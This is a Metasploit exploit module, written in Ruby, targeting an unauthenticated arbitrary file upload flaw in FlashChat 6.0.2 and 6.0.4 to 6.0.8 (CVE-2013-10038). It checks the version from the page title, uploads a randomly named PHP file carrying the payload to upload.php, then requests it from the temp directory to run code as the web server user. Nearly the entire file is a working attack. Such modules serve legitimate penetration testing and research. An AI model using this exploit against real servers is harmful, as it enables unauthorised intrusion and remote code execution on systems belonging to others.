FlashChat Arbitrary File Upload

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => "FlashChat Arbitrary File Upload",
        'Description' => %q{
          This module exploits a file upload vulnerability found in FlashChat
          versions 6.0.2 and 6.0.4 to 6.0.8. Attackers can abuse the upload
          feature in order to upload malicious PHP files without authentication
          which results in arbitrary remote code execution as the web server user.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'x-hayben21', # Discovery and PoC
          'bcoles' # Metasploit
        ],
        'References' => [
          ['CVE', '2013-10038'],
          ['OSVDB', '98233'],
          ['EDB', '28709']
        ],
        'Payload' => {
          'BadChars' => "\x00"
        },
        'Arch' => ARCH_PHP,
        'Platform' => 'php',
        'Targets' => [
          # Tested on FlashChat version 6.0.8
          [ 'Generic (PHP Payload)', {} ]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2013-10-04',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path to FlashChat', '/chat/'])
      ]
    )
  end

  #
  # Checks if target is running FlashChat versions 6.0.2, 6.0.4 to 6.0.8
  #
  def check
    uri = normalize_uri(target_uri.path, '')
    res = send_request_raw({ 'uri' => uri })

    if not res
      vprint_error("Connection timed out")
      return Exploit::CheckCode::Unknown('Could not determine the target status')
    end

    version = res.body.scan(/<title>FlashChat v([\d\.]+)/).flatten[0] || ''

    if version.empty?
      return Exploit::CheckCode::Unknown('Could not determine the target status')
    end

    vprint_status("Version found: #{version}")

    if version =~ /6\.0\.(2|4|5|6|7|8)/
      return Exploit::CheckCode::Appears("Version #{version} appears to be vulnerable")
    elsif version <= "6.0.8"
      return Exploit::CheckCode::Detected("Detected version #{version}")
    else
      return Exploit::CheckCode::Safe("Version #{version} is not vulnerable")
    end
  end

  #
  # Uploads our malicious file
  # Stolen from havalite_upload_exec.rb
  #
  def upload(base)
    fname = "#{rand_text_alphanumeric(rand(10) + 6)}.php"
    php = "<?php #{payload.encoded} ?>"
    data = Rex::MIME::Message.new
    data.add_part(php, "application/octet-stream", nil, "form-data; name=\"file\"; filename=\"#{fname}\"")
    post_data = data.to_s

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(base, 'upload.php'),
      'ctype' => "multipart/form-data; boundary=#{data.bound}",
      'data' => post_data
    })

    if not res
      fail_with(Failure::Unknown, "#{peer} - Request timed out while uploading")
    elsif res.code.to_i == 404
      fail_with(Failure::NotFound, "#{peer} - No upload.php found")
    elsif res.code.to_i == 500
      fail_with(Failure::Unknown, "#{peer} - Unable to write #{fname}")
    end

    return fname
  end

  #
  # Executes our uploaded malicious file
  # Stolen from havalite_upload_exec.rb
  #
  def exec(base, payload_fname)
    res = send_request_raw({
      'uri' => normalize_uri(base, 'temp', payload_fname)
    })

    if res and res.code == 404
      fail_with(Failure::NotFound, "#{peer} - Not found: #{payload_fname}")
    end
  end

  def exploit
    base = target_uri.path

    # upload
    print_status("Uploading malicious file...")
    fname = upload(base)

    # register the file to clean
    register_files_for_cleanup(fname)

    # exec
    print_status("Executing #{fname}...")
    exec(base, fname)
  end
end